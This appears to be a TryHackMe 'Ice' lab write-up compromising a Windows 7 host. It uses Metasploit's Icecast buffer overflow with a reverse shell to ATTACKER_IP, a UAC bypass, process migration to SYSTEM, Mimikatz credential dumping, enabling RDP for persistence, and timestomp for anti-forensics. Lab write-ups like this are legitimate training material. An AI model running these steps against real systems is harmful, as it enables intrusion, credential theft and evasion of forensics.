THM: Ice

Windows 7 machine running vulnerable Icecast server. Exploit chain includes buffer overflow, UAC bypass, process migration, and credential dumping with Mimikatz.

Initial Enumeration

Port Scan

Running initial fast scan to identify open services:

sudo nmap -sS --min-rate=10000 -p- TARGET_IP

Service Version Detection

Scanning identified ports for service versions:

sudo nmap -T5 -A -p 135,139,445,3389,5357,8000 TARGET_IP

Results:

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1
                             microsoft-ds (workgroup: WORKGROUP)
3389/tcp closed ms-wbt-server reset ttl 126
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open  http          Icecast streaming media server

Critical Discovery: Port 8000 running Icecast streaming media server - CVE-2004-1561

---

Exploitation

Icecast Buffer Overflow

Icecast is vulnerable to a buffer overflow exploit that provides remote code execution.

Starting Metasploit and loading the exploit module:

msfconsole
use windows/http/icecast_header
set RHOSTS TARGET_IP
set LHOST ATTACKER_IP
exploit

Result: Meterpreter session opened with user-level access.

---

Privilege Escalation

Background Session and Enumerate Exploits

Backgrounding the meterpreter session to run local exploit suggester:

background
use multi/recon/local_exploit_suggester
set SESSION 1
run

UAC Bypass

Using the bypassuac_eventvwr module to escalate privileges:

use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST ATTACKER_IP
exploit

Verify Privileges

Checking current user context:

ps

Identified spoolsv.exe process running as SYSTEM.

Process Migration

Migrating to SYSTEM-level process:

migrate -N spoolsv.exe

Result: Now running as NT AUTHORITY\SYSTEM

---

Credential Dumping

Mimikatz

Using mimikatz to dump system credentials:

load kiwi
creds_all

Output: User Dark password obtained: Password01!

---

Persistence via RDP

Enabling RDP

If RDP is disabled, enable it using the metasploit module:

use windows/manage/enable_rdp
set SESSION 1
run

RDP Access

Authenticating via RDP with dumped credentials:

xfreerdp3 /u:Dark /p:Password01! /v:TARGET_IP /sec:rdp

---

System Information

Sysinfo Output:

Computer      : DARK-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture  : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows

---

Notable Commands

Command	Description	Where
timestomp	Modifies timestamps of files on system to complicate forensics	Meterpreter
xfreerdp3 /u:Dark /p:Password01! /v:TARGET_IP /sec:rdp	Authenticate to an older rdp service	bash

---

Useful Modules

Module	Description
multi/recon/local_exploit_suggester	Automates local exploit enumeration
exploit/windows/local/bypassuac_eventvwr	Bypass UAC
windows/manage/enable_rdp	Enables RDP on target

---

Key Takeaways

• Icecast CVE-2004-1561 is a critical vulnerability providing immediate code execution
• local_exploit_suggester automates privilege escalation enumeration
• Process migration to SYSTEM processes grants highest privileges
• Mimikatz remains one of the most effective credential dumping tools on Windows
• UAC bypass is often necessary before full privilege escalation on modern Windows
• RDP access provides persistent GUI access for further enumeration

---

Room: Ice

Platform: TryHackMe

Difficulty: Easy

CVE: CVE-2004-1561

Root Method: Icecast Exploit → UAC Bypass → Process Migration